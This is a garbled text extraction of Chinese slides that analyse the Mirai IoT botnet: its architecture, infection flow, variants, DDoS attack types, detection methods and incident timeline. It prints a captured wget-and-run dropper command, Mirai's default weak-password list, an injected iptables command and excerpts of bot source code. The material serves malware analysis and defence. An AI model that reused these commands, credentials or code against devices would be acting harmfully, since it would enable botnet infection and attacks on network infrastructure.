《Mirai僵尸网络.pptx》由会员分享,可在线阅读,更多相关《Mirai僵尸网络.pptx(124页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、NOTE-mirai2018-01-29IOT 僵尸网僵尸网络严重威重威胁网网络基基础设施安全施安全典型的IoT-DDoS僵尸网络包括2013年出现的CCTV系列,肉鸡MM系列(chickenMM,数字系列10771、10991、25000、36000),BillGates,Mayday,PNScan,gafgyt等众多基于Linux的跨平台DDoS僵尸网络家族名称家族名称变种数量种数量样本本 HASH 数量数量TrojanDDoS/Linux.Mirai2大于大于 100TrojanDDoS/Linux.Xarcen5大于大于 1000TrojanDDoS/Linux.Znaich3大于大于
2、 500Trojan/Linux.PNScan2大于大于 50TrojanBackdoor/Linux.Mayday11大于大于 1000TrojanDDoS/Linux.DnsAmp5大于大于 500TrojanBackdoor/Linux.Ganiw5大于大于 3000TrojanBackdoor/Linux.Dofloo5大于大于 2000TrojanBackdoor/Linux.Gafgyt28大于大于 8000TrojanBackdoor/Linux.Tsunami71大于大于 1000Worm/Linux.Moose1大于大于 10WormNet/Linux.Darlloz3大于大
3、于 10IOT 僵尸网僵尸网络严重威重威胁网网络基基础设施安全施安全Mirai等针对物联网设备DDoS入侵主要通过telnet端口进行流行密码档的暴力破解,或默认密码登陆,如果通过Telnet登陆成功,就尝试利用busybox等嵌入式必备的工具进行wget下载DDoS功能的bot,修改可执行属性,运行控制物联网设备。由于CPU指令架构的不同,在判断出系统架构后,一些僵尸网络可以选择MIPS、ARM,x86等架构的样本进行下载,运行后接收相关攻击指令进行攻击。弱密码示例如下:rootadminuserloginguestsupportoraclenetmanoperatorAdministrat
4、orciscotelnetdevicetechnetgeartoororaclenetgear1changemevizxv7ujMko0vizxvjuantechrealtekxmhdipchi3518Zte521zlxxsupervisorsmcadminsystemdreamboxmeinsmubntklv123ankoxc35111234maxided12345123456defaultpassvagrantklv1234jvbzd7ujMko0adminikwbpassowrdIOT 僵尸网僵尸网络严重威重威胁网网络基基础设施安全施安全DVR,网络摄像头,智能路由器产品中部分存在弱密码
5、的品牌IOT 僵尸网僵尸网络严重威重威胁网网络基基础设施安全施安全Mirai源码目录结构分析IOT 僵尸网僵尸网络严重威重威胁网网络基基础设施安全施安全Mirai源码主要包括两部分:1)loader:加载器,其中存放了针对各个平台编译后的可执行文件,用于加载Mirai的实际攻击程序2)Mirai:用于实施攻击的程序,分为bot(被控制端,使用C语言编写)和cnc(控制端,使用Go语言编写)两部分被控制端具有以下模块:模块文件名模块文件名模块作用模块作用attack.cattack.c用于攻击的模块,所调用的攻击子模块在其他用于攻击的模块,所调用的攻击子模块在其他 attack_xxx.c at
6、tack_xxx.c 中定义中定义checksum.cchecksum.c用于计算校验码的模块用于计算校验码的模块killer.ckiller.c用于结束进程的模块用于结束进程的模块main.cmain.c用于调用其他子模块的主模块用于调用其他子模块的主模块rand.crand.c用于生成随机数的模块用于生成随机数的模块resolv.cresolv.c用于解析域名的模块用于解析域名的模块scanner.cscanner.c用于扫描的模块,可以扫描网络上可被攻击(如使用弱口令的设备)用于扫描的模块,可以扫描网络上可被攻击(如使用弱口令的设备)table.ctable.c用于存放经过加密的域名数据
7、的模块用于存放经过加密的域名数据的模块util.cutil.c用于提供一些使用工具的模块用于提供一些使用工具的模块IOT 僵尸网僵尸网络严重威重威胁网网络基基础设施安全施安全2014年之前使用Linux系统的IoT设备被植入恶意代码的方式主要是通过扫描弱密码,但在破壳漏洞(CVE-2014-6271)出现后,互联网上出现了大量利用该漏洞进行扫描并植入恶意代码的事件,针对Linux主机入侵的事件呈现全面上升的趋势。IoT僵尸网络的快速蔓延来自如下因素的组合:1、随着小到智能家居、大到智慧城市的物联网蓬勃发展,在线IoT设备数量大幅增加;2、随着作为主流桌面操作系统的Windows的内存安全(如D
8、EP、ASLR、SEHOP)等方面的能力不断强化,依托远程开放端口击穿Windows变得日趋困难,但对于普遍没有经过严格的安全设计的IoT设备的远程注入的成功率则高的多。3、IoT设备自身多数未嵌入安全机制,同时其又多半不在传统的IT网络之内,等于游离于安全感知能力之外,一旦遇到问题有的也不能有效响应。4、IoT设备往往更多24小时在线,是比桌面Windows更“稳定”的攻击源。Miraibotnet的演的演进开放数据之Miraiscannerhttp:/ 最早发现、仍在活跃的传播区间(infection vector)Miraibotnet的演的演进我们的Telnet蜜罐我们基于hontel
9、开发了一个定制的Telnet蜜罐Hontel:基于Linux chroot机制、使用Python开发的开源蜜罐https:/ fixingHooking shell command to prevent sample runningSimulating IoTdevices(e.g.,setting up fake/proc/cpuinfo)URL文件名枚举mirai.x86,mirai.arm,mirai.m68k,mirai.mips,mirai.mpsl,Miraibotnet的演的演进针对tr-069/064的私有蜜罐2016/11,出现了针对TCP 7547/5555端口的扫描 cd
10、/tmp;wgethttp:/srrys.pw/1;chmod 777 1;./1 “我们基于Python的bottle和paste库开发了一个基于HTTP的蜜罐关键在于接受HTTP POST请求,解析NewNTPServer1tag内的内容关键在于接受HTTP POST请求,解析NewNTPServer1tag内的内容 Miraibotnet的演的演进如何如何检测Mirai变种?种?检测变种的种的维度:度:变种意味着功能的变化,最终体现在代码上通常在2进制层面进行检测对于botnet,常常围绕C2来划分家族、追踪变种C2协议:消息格式和交互方式C2配置信息的格式和存储方式对于DDoS类型的b
11、otnet,攻击类型和具体攻击方式的变化也是划分变种的重要维度 Miraibotnet的演的演进如何如何检测Mirai变种?种?我我们的的检测维度度攻击类型syn_flood/http_flood/配置信息扫描端口最初的Mirai只扫描23/2323端口暴力破解用到的用户名和口令 Miraibotnet的演的演进如何如何检测Mirai变种?种?-基于攻基于攻击类型型检测变种种attack_init函数的几个特点支持11种攻击类型只用了10种每种攻击类型分配了一个010之间的指令码二进制的attack_init及其特征只有单个的指令块多数情况下,add_attack会被优化,-calloc an
12、d realloccalloc的参数固定为1和8-对于M68K cpu为1和6攻击方法及其指令码存放在calloced的缓冲中位移分别是1和4 Miraibotnet的演的演进如何如何检测Mirai变种?种?-基于配置信息基于配置信息检测变种种关于Mirai的配置信息这里的配置信息包括:-C2/report servers-扫描和攻击参数-其它运行时参数Mirai配置信息做了加密处理,只有用到时才解密密文的初始化在一个名为table_init的函数中完成2进制的table_init函数及其特征只包含单一的大语句块-通常多于500条指令多数情况下add_entry被内联(inline)优化,只看
13、到malloc和util_memcpy密文的地址和大小作为参数2/3传给util_memcpy配置信息和变种不同样本的配置信息差别较大:条目不同内容不同这种差别通常意味着变种的存在通过简单的聚类技术即可快速关联同种变种的样本 Miraibotnet的演的演进如何如何检测Mirai变种?种?-基于基于扫描行描行为检测变种种Mirai的扫描模块Mirai使用了自定义的算法来生成扫描的SYN包缺省扫描23/2323端口同时安装一批用户名和口令用于后续的telnet暴力破解缺省安装了62对用户名和口令上述工作在一个名为scanner_init的函数中完成由一个fork()出来的进程单独执行The sc
14、anner_initfunction扫描端口硬编码左图中为0 x17用户名和口令调用add_auth_entry初始化到内存中反复调用变种2:扫描7547端口 Miraibotnet的演的演进典型典型变种分析种分析-DGA变种种出现于去年11月下旬,能通过TCP 7547传播“Now MiraiHas DGA Feature Built in”“New MiraiDGA Seed 0 x91 Brute Forced”在C2方面具有较强的冗余性考虑除了DGA,后续又出现了采用IPGA和硬编码C2 IP的方式部分样本使用了非8.8.8.8的DNS resolver样本本身包含了exploit,不
15、同于缺省的Mirai传播方式更类似于更早的gafgyt Miraibotnet的演的演进典型典型变种分析种分析-一个支持多种一个支持多种伪HTTP agent的的变种种缺省的9个伪HTTP agentMozilla/5.0(Windows NT 10.0;WOW64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/51.0.2704.103 Safari/537.36Mozilla/5.0(Windows NT 10.0;WOW64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/51.0.2704.103 Safar
16、i/537.36Mozilla/5.0(Windows NT 10.0;WOW64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/52.0.2743.116 Safari/537.36Mozilla/5.0(Windows NT 10.0;WOW64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/52.0.2743.116 Safari/537.36Mozilla/5.0(Windows NT 6.1;WOW64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/51.0.270
17、4.103 Safari/537.36Mozilla/5.0(Windows NT 6.1;WOW64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/51.0.2704.103 Safari/537.36Mozilla/5.0(Windows NT 6.1;WOW64)AppleWebKit/537.36(KHTML,like Gecko)Chrome/52.0.2743.116 Safari/537.36Mozilla/5.0(Windows NT 6.1;WOW64)AppleWebKit/537.36(KHTML,like Gecko)Chrome
18、/52.0.2743.116 Safari/537.36Mozilla/5.0(Macintosh;Intel Mac OS X 10_11_6)AppleWebKit/601.7.7(KHTML,like Gecko)Version/9.1.2 Safari/601.7.7 Miraibotnet的演的演进典型典型变种分析种分析-一个支持多种一个支持多种伪HTTP agent的的变种种cluster_1中约110个agent信息Mozilla/4.0(compatible;MSIE 8.0;Windows NT 5.1;Trident/4.0;GTB7.0)Mozilla/5.0(Windo
19、ws NT 6.1)AppleWebKit/537.36(KHTML,like Gecko)Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr1.0Mozilla/5.0(Windows NT 6.1)AppleWebKit/537.36(KHTML,like Gecko)Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr1.0Mozilla/4.0(compatible;MSIE 7.0;Windows NT 5.2;.NET CLR 1.1.4322;.NET CLR 2.0.50727;.NET4
20、.0E;.NET CLR 3.0.4506.2152;.NET CLR 3.5.30729;.NET4.0C)Mozilla/4.0(compatible;MSIE 7.0;Windows NT 5.2;.NET CLR 1.1.4322;.NET CLR 2.0.50727;.NET4.0E;.NET CLR 3.0.4506.2152;.NET CLR 3.5.30729;.NET4.0C)Mozilla/5.0(Windows;U;Windows NT 5.1;zh-CN;rv:1.9b4)Gecko/2008030317 Firefox/3.0b4Mozilla/5.0(Windows
21、;U;Windows NT 5.1;zh-CN;rv:1.9b4)Gecko/2008030317 Firefox/3.0b4Mozilla/5.0(Windows;U;MSIE 6.0;Windows NT 5.1;SV1;.NET CLR 2.0.50727;BIDUBrowser8.7)(省略若干)Miraibotnet的演的演进典型典型变种分析种分析-一个支持多种一个支持多种伪HTTP agent的的变种种关于这个变种的其他信息相对cluster_1,cluster_2又添加了约60个新HTTP agent该变种扫描23端口只支持缺省的攻击类型0_1_2_3_4_5_6_7_9_10
22、该变种只是增种只是增强了了HTTPflood攻攻击能力能力 Miraibotnet的演的演进典型典型变种分析种分析-SSH scanner 变种种该变种的一些汇总样本中存在扫描22和23端口的代码只保留了Mirai的扫描功能未发现C2通信和DDoS攻击代码去年12月初出现,目前仍在活跃这是一个具有是一个具有较强SSH扫描能力的描能力的扫描描专用用变种!种!Mirai代代码及原理分析及原理分析 Mirai事件回事件回顾 Mirai代代码及原理分析及原理分析 功能模功能模块 dlr:肉鸡上运行的引导程序,编译生成各种平台的二进制文件,如dlr.arm,dlr.ppc等。主要功能类似grub,下载m
23、irai主程序loader:加载器,运行在黑客电脑上,登陆爆破的肉鸡设备,使其感染bot:真正的病毒,编译生成各种平台的二进制文件,如mirai.arm,mirai.ppc等,主要功能为telnet弱密码扫描、DDoS攻击cnc:Go语言开发的肉鸡控制程序,运行在黑客电脑上。主要功能为接收黑客指令,控制肉鸡发起DDoS tools:几个单独的工具,黑客自己使用。包括wget,禁止mirai被gdb,数据加解密,接受爆破的telnet用户名密码等 Mirai代代码及原理分析及原理分析 感染流程感染流程 Mirai代代码及原理分析及原理分析 代代码分析分析:loader1.每个处理器启动一个网络事
24、件后台线程2.从stdin读取成功爆破的肉鸡信息,格式为:10.1.1.1:80 root:1234563.尝试telnet连接肉鸡,注册网络事件,并以负载均衡方式丢给后台线程处理4.后台线程实现了完整的telnet过程5.登陆成功后获取肉鸡的平台类型,并尝试在肉鸡上下载平台对应的mirai程序根据肉鸡的运行环境,尝试通过以下三种方式下载:从文件服务器wget(/bin/busybox wget)从文件服务器tftp(/bin/busybox tftp)将dlr引导程序echo到肉鸡运行,在引导程序中http get 下载并运行成功后,删除文件自身.Mirai代代码及原理分析及原理分析 代代码
25、分析分析:loader-加加载流程流程 Mirai代代码及原理分析及原理分析 代代码分析分析:dlr 通过loader加载到肉鸡运行原理:通过socket从文件服务器以http方式获取mirai文件,本地以drvHelper文件名保存 Mirai代代码及原理分析及原理分析 代代码分析分析:cnc监听2个端口,接受处理3个角色的数据:端口23:1)肉鸡:肉鸡启动时连接cnc,上传信息包括:版本信息、平台类型2)管理员:添加可以发起攻击的用户、设置用户最大肉鸡数量、或者自己发起攻击端口101:3)攻击用户:用户向此端口发送攻击指令所有用户保存在mysql数据库中,发起攻击必须提供密码,并且是最近2
26、4小时付过费的用户,使用的肉鸡数量不能超出预设肉鸡与控制中心之间每隔1分钟保活一次控制中心与肉鸡通信失败则认为肉鸡掉线肉鸡会定时尝试重连 Mirai代代码及原理分析及原理分析 代代码分析分析:bot 1.获取本地源IP:对于多IP的肉鸡有效,如果ddos时使用的外网不可达的源IP,攻击会失效。主动连接8.8.8.8 dns服务器,从合法连接中获取。2.保证单实例运行:不同肉鸡可能扫出同一个IP,因此单实例运行很有必要。监听127.0.0.1的48101端口,启动时bind,如果失败则认为已经有实例运行,kill掉老的;对于已经运行的实例,发现有人连接自己,主动退出。Mirai代代码及原理分析及
27、原理分析 代代码分析分析:bot 3.隐藏自己将自己的进程名称设置成随机的字符串4.关闭watchdog 5.杀掉开放端口6.加密常量字符串7.反gdb调试8.扫描时过滤掉不必要或敏感IP 9.快速的原始套接字实现的telnet爆破 Mirai代代码及原理分析及原理分析 DDoS分析分析bot:子进程单线程死循环发包,攻击时间到后,直接kill掉发包进程可指定目的IP范围,在IP范围内随机选择攻击对象大部分攻击可指定多种攻击参数的组合支持的攻击类型:syn flood ack flood http flood udp flood dns flood gre flood Mirai代代码及原理分
28、析及原理分析 DDoS分析分析1.synflood 带options字段,可过syn 64算法原始套接字发包,伪造源IP,不支持协议栈,过不了3秒重传和cookie 3秒重传和syn cookie Mirai代代码及原理分析及原理分析 DDoS分析分析2.ackflood 1)带负载的简单ack攻击负载可随机原始套接字发包,伪造源IP,不支持协议栈,过不了3秒重传2)能过防火墙的ack攻击攻击之前先正常连接一次,获取到合法的5元组信息不关闭连接,利用得到的5元组循环发包,仍然是原始套接字seq序列号自增(但每次只自增1,而不是payload长度)对于旁路的ADS,由于攻击之前的正常连接不经过A
29、DS,因此后续的ACK攻击和第一种简单ACK攻击没有区别,仍然过不了算法3秒重传 Mirai代代码及原理分析及原理分析 DDoS分析分析3.httpflood 支持完整的tcp/ip协议栈,每个肉鸡最多256个连接url重定向1)流量性post攻击负载随机每个请求post 80M数据完成后断开重新开始连接并攻击2)高级cc攻击完整的http解析,类浏览器行为,并且可以从body中解析cookie支持chunk解码,从头部解析重定向、cookie等信息代码中有明确的过cloudfare和ddosarrest公司的算法ddosarrest:从body中提取cookie cloudfare可能的还没
30、完成图片验证,js算法 Mirai代代码及原理分析及原理分析 DDoS分析分析4.udpflood 1)普通udp攻击负载随机,长度可达1460 原始套接字发包,伪造源IP 2)固定负载的udp攻击(TSource Engine Query,游戏引擎攻击)负载固定,最长100个字节,内容预先内置在mirai中原始套接字发包,伪造源IP 3)支持IP分片的udp攻击真实源ip,完整的协议栈发包每个包64K长度,依靠协议栈分片限速,分片包丢弃 Mirai代代码及原理分析及原理分析 DDoS分析分析5.dnsflood 攻击对象为肉鸡自己的dns服务器(从/etc/resolve中获取),或一些常用
31、dns服务器(如下图)原始套接字,真实源IP 完整的dns请求报文,循环发包,不解析响应TC算法 Mirai代代码及原理分析及原理分析 DDoS分析分析6.greflood 支持封装IP+UDP+应用层数据支持NVGRE(虚拟二层网络),封装以太+IP+UDP+应用层数据可指定源IP攻击可设置封装报文中的目的地址与外层目的地址一致默认丢弃Mirai 僵尸网僵尸网络恶意程序分析和意程序分析和监测数据研究数据研究1 引言引言1.1 攻击情况概述1.2 事件时间线1.3 影响范围及危害2 恶意程序分析意程序分析2.1 原始恶意程序分析2.1.1 整体架构2.1.2 僵尸网络受控端分析2.1.3 加载
32、服务器分析2.1.4 僵尸网络控制服务器分析2.2 变种恶意程序分析2.2.1 技术背景2.2.2 变种特点2.2.3 后续演进情况3 数据数据获取及分析取及分析3.1 数据获取3.2 主动监测数据分析3.2.1 受控端监测情况3.2.2 控制服务器监测情况3.3 被动监测数据分析3.4 数据验证和挖掘3.4.1 主被动数据重合性验证3.4.2 利用技术平台监测发现感染情况4 应对建建议5 结束束语Mirai 僵尸网僵尸网络恶意程序分析和意程序分析和监测数据研究数据研究1.引言引言僵尸网络组成:被僵尸程序感染的受控端设备(Bot)由攻击者管理的控制服务器(C&C)其融合了木马的植入和控制技术、
33、蠕虫的大范围传播感染技术,从历史上看,可以将其分为以IRC 协议1进行通信的初创阶段、以HTTP 和P2P 进行通信的发展阶段、以Domain Flux和URL Flux等技术为代表的对抗阶段,以及移动互联网设备和物联网为主要攻击目标的融合阶段。1.1 攻击情况概述2016 年10 月21 日上午,美国互联网域名解析服务商Dyn 公司遭遇大规模拒绝服务攻击,攻击流量高达1.2 Tbit/s2016 年11 月28 日,德国电信遭遇大范围网络故障,约90 万台路由器无法联网1.2 事件时间线2016 年8 月31 日,安全博客MalwareMustDie发布了一篇关于Mirai 恶意程序的逆向分
34、析报告2016 年9 月30 日,Hackforums 的论坛用户“Anna-senpai”放出了Mirai 的源码2016 年10 月21 日,美国域名服务商Dyn遭受大规模DDoS 攻击2016 年11 月7 日,安全研究员Kenzo 发布了一个针对7547 端口上路由器等设备TR-069/TR-064 相关的安全公告2016 年11 月28 日,德国电信累积约90 万个路由器遭受Mirai 僵尸网络新变种的攻击2017 年2 月8 日,俄罗斯杀毒软件制造商Dr.Web 发布了Windows 版本的Mirai 恶意程序的分析报告1.3 影响范围及危害Mirai 僵尸网僵尸网络恶意程序分析和
35、意程序分析和监测数据研究数据研究2 恶意程序分析2.1 原始恶意程序分析2.1.1 整体架构Mirai 僵尸网络恶意程序的运行结构可以分为3 部分:Bot 僵尸网络受控端:实现反调试、隐藏自身进程、设置初始的域名端口值、设置默认弱口令、网络连接及DDoS 攻击功能。Loader 加载服务器:登录被爆破的脆弱主机,加载并运行引导程序,下载Mirai 主程序实现恶意程序的植入。C&C 僵尸网络控制服务器:对成功感染的Bot进行监控,僵尸网络使用者通过控制接口向Bot 下发攻击指令,控制僵尸网络发动DDoS 攻击。Mirai 僵尸网僵尸网络恶意程序分析和意程序分析和监测数据研究数据研究2.1.2 僵
36、尸网络受控端分析僵尸网络受控端的主要功能是扫描潜在开放Telnet 网络服务的设备,将成功破解的设备地址、用户名、密码等信息上报给攻击者,接受C&C僵尸网络控制服务器的命令发起攻击,其代码划分为以下几个模块。1)主函数模块主函数模块主要完成防止设备重启、防止多实例运行、受控端上线并保持连接等功能。Mirai 僵尸网络恶意程序通过向“看门狗”程序发送控制码0 x80045704 防止设备异常重启。Mirai 恶意程序会尝试绑定并监听48101 端口,如果失败,便会关闭已经使用此端口的进程并重新尝试,从而形成一种互斥机制,防止同一个设备上运行多个实例,这也是检测是否感染Mirai 恶意程序的重要方
37、法。在完成独占运行、攻击初始化等步骤后,Bot僵尸网络受控端会连接C&C僵尸网络控制服务器,在僵尸网络中上线;未收到控制服务器的攻击指令时,Bot 默认每隔60 s 与控制服务器沟通一次。Mirai 僵尸网僵尸网络恶意程序分析和意程序分析和监测数据研究数据研究2)attack 模块attack 模块主要用于解析C&C 控制服务器下发的攻击命令并发动拒绝服务攻击Mirai 僵尸网僵尸网络恶意程序分析和意程序分析和监测数据研究数据研究3)scanner 模块scanner 模块主要功能是扫描其他可能受感染的设备,具体流程为:首先生成随机IP,然后随机选择字典中的用户名密码组合进行telnet 登录
38、测试,如果扫描的随机IP 有回应,则建立正式连接,并上报成功的扫描结果4)killer 模块killer 模块主要有2 个作用:一是查找特定端口对应的进程并将其关闭,然后占用该端口;二是查找特定进程的对应路径,并删除文件。Mirai 僵尸网僵尸网络恶意程序分析和意程序分析和监测数据研究数据研究2.1.3 加载服务器分析Bot 僵尸网络受控端扫描后的结果会发送到扫描结果接收服务器,经处理后将具体设备信息以特定格式传递给Loader 加载服务器,对设备实施感染,感染过程主要包括以下几步。1)通过待感染节点的telnet 用户名和密码成功登录。2)执行“/bin/busybox ps”命令,根据返回
39、结果关闭某些特殊进程。3)执行“/bin/busybox cat/proc/mounts”,根据返回结果切换到可写目录。4)如果发现可用于读写的文件目录,进入该目录并将“/bin/echo”复制到该目录,文件更名为dvrHelpler,并开启所有用户的读写执行权限。5)执行“/bin/busybox cat/bin/echo”,通过返回结果解析“/bin/echo”这个ELF 文件的头部判断体系架构,即其中的e_machine 字段。6)根据不同的体系架构,选择一种方式上传对应的恶意程序文件。7)执行恶意程序并清理。Mirai 僵尸网僵尸网络恶意程序分析和意程序分析和监测数据研究数据研究2.1
40、.4 僵尸网络控制服务器分析C&C 僵尸网络控制服务器的主要功能是向僵尸网络管理员提供管理界面,向付费用户提供登录界面和发动快速攻击的应用接口。管理员登录成功后可以添加用户、设置分配给普通用户的受控端数量、发动攻击;普通用户登录成功后只可以发动攻击。付费用户还可以通过telnet 访问101 端口的应用接口发动快速攻击。Mirai 僵尸网僵尸网络恶意程序分析和意程序分析和监测数据研究数据研究2.2 变种恶意程序分析2.2.1 技术背景一般分配TR-069 协议(CPE WAN managementprotocol)给互联网上的TCP/7547 端口,ISP 利用该协议对用户侧设备进行远程管理,
41、完成诸如服务开通、功能设定、系统检测等运维操作。然而,7457 端口同时还可以运行TR-064 协议(LAN-side CPE configuration),该协议允许用户通过LAN侧的管理软件对ISP 提供的路由器进行配置。TR-069 协议和TR-064 协议分别运行在路由器的WAN 口和LAN 口。当路由器的WAN 口允许接收并响应TR-064 协议请求时,会导致严重的安全漏洞,攻击者可以通过互联网远程配置该路由器,配置命令包括获取设备信息、获取Wi-Fi密码、获取SSID 和MAC 地址、设置NTP 服务器。而TR-064 协议在设置NTP 时间服务器时存在命令注入漏洞,攻击者通过发送
42、符合TR-064协议格式要求的数据分组,可以执行任意命令,如“busybox iptables-I INPUT-p tcp-dport 80-jACCEPT”。Mirai 僵尸网僵尸网络恶意程序分析和意程序分析和监测数据研究数据研究2.2.2 变种特点在德国电信断网事件的捕获样本中发现了与Mirai 相同的代码,但该变种也有自己的特征。1)利用7547 端口进行传播对随机生成的IP 地址进行扫描,并向目标主机发送包含攻击代码的数据分组,攻击代码的主要功能是下载针对不同平台的恶意代码。2)绑定并监听31517 端口通过查询端口31517 相关的进程,将其终止。之后,绑定31517 端口,进行监听
43、。3)精简弱口令列表对弱口令列表进行精简,通过3 组弱口令进行telnet 弱口令扫描。Mirai 僵尸网僵尸网络恶意程序分析和意程序分析和监测数据研究数据研究1)使用域名生成算法2016 年12 月9 日,奇虎360 公司Netlab 网络安全研究实验室发现部分利用TR-064 协议漏洞传播的Mirai 恶意程序变种样本中包含域名生成算法,用于生成CNC 僵尸网络控制服务器备用域名,其主要特征如下。使用3 个顶级域名:online/tech/support。L2 域名固定长度12 字符,每个字符在“a”“z”随机选择。域名仅由月、日和硬编码的种子字符串确定。每天只生成一个域名,因此最多存在3
44、65 个DGA 域名。DGA 域名仅在硬编码的C2 域名无法解析时使用。2)感染Windows 平台2017 年2 月6 日,俄罗斯杀毒软件制造商Dr.Web 捕获了Windows 版本的Mirai 恶意程序,可以感染Windows 平台微软主机和嵌入式Linux系统的物联网设备,主要扫描如下端口:22、23、135、445、1433、3306、3389。除3389 以外的所有端口,均会执行配置文件中的相关命令,如添加数据库用户、获取恶意程序、写入文件等。Mirai 僵尸网僵尸网络恶意程序分析和意程序分析和监测数据研究数据研究3 数据获取及分析3.1 数据获取Mirai 僵尸网络监测发现的方式
45、分为主动监测与被动监测。主动监测数据可以利用Mirai 扫描模块中的特征值,通过检查SYN 包的包头,从TCP/23 端口的扫描流量中识别出Mirai 恶意程序发出的扫描流量。这类监测数据的主要来源为上海互联网应急中心应急服务支撑单位的上报数据。被动监测数据则是利用国家互联网应急中心某技术平台,将Mirai 僵尸网络通信流量中指纹特征配入系统,开展相应监测。具体指纹特征包括端口特征和报文特征,端口特征指Mirai 恶意程序会监听48101 端口,报文特征如表3 和表4所示。Mirai 僵尸网僵尸网络恶意程序分析和意程序分析和监测数据研究数据研究3.2 主动监测数据分析3.2.1 受控端监测情况
46、1)IP 地址统计2)感染设备情况3)潜在影响范围Mirai 总结从源从源码到反到反汇编物物联网网恶意意软件件 Mirai 源代源代码分析分析报告告1 代码结构主要包含两个文件夹,其中loader 文件夹为加载器,完成服务端创建和状态监控的功能;mirai 文件夹完成主要的恶意功能,包含网络连接、DDOS 执行、下载(等工具的实现)以及主控端操作功能。物物联网网恶意意软件件 Mirai 源代源代码分析分析报告告2 感染途径攻击者通过SSH 或Telnet 账号,使用默认密码入侵物联网设备。3 功能实现代码实现的恶意功能从源码来看,主要包含3 方面,主要是bot 文件夹,实现反调试、隐藏自身进程
47、、设置初始的域名端口值、设置默认弱口令、网络连接及DDOS 攻击功能;Tools 文件夹,实现wget、更新文件、异或数据等工具性功能。CNC 文件夹能够在主控端对成功感染的bot 进行监控并作为接收指令端解析指令并发起ddos 攻击。同时bot 文件夹下实现功能时,会打开PF_INET(原始套接字,TCP 的UNIX 网络套接字),并将它绑定到本地主机IP 地址127.0.0.1 的端口TCP/48101,之后开始监听连入连接。一旦网络中有一个设备受感染,则会通过Telnet 服务连接,进一步扩大感染范围。物物联网网恶意意软件件 Mirai 源代源代码分析分析报告告4 Bot 文件夹从代码函
48、数功能上看,具有以下功能:反GDB 调试,解析CC 地址,网络连接、实现DDOS 攻击等功能。static void anti_gdb_entry(int);/反GDB 调试static void resolve_cnc_addr(void);/解析CC 地址static void establish_connection(void);/建立网络连接static void teardown_connection(void);/建立网络连接static void ensure_single_instance(void);/确保每次只有一个实例正在运行(检测到有新的实例运行,则自删除)static
49、 BOOL unlock_tbl_if_nodebug(char*);/初始化各种表的信息(包括连接的域名端口列表、用户名密码列表等)物物联网网恶意意软件件 Mirai 源代源代码分析分析报告告4 Bot 文件夹如果监测到gdb 调试,则进行自删除,阻止watchdog 重新启动设备,并显示连接CC 地址失败。/Delete selfunlink(args0);/Signal based control flowsigemptyset(&sigs);sigaddset(&sigs,SIGINT);sigprocmask(SIG_BLOCK,&sigs,NULL);signal(SIGCHLD,
50、SIG_IGN);signal(SIGTRAP,&anti_gdb_entry);/Prevent watchdog from rebooting deviceif(wfd=open(/dev/watchdog,2)!=-1|(wfd=open(/dev/misc/watchdog,2)!=-1)int one=1;ioctl(wfd,0 x80045704,&one);close(wfd);wfd=0;chdir(/);物物联网网恶意意软件件 Mirai 源代源代码分析分析报告告4 Bot 文件夹确保每次只有一个实例运行(通过连接本地端口48101),并通过此端口号关闭相对应的进程。addr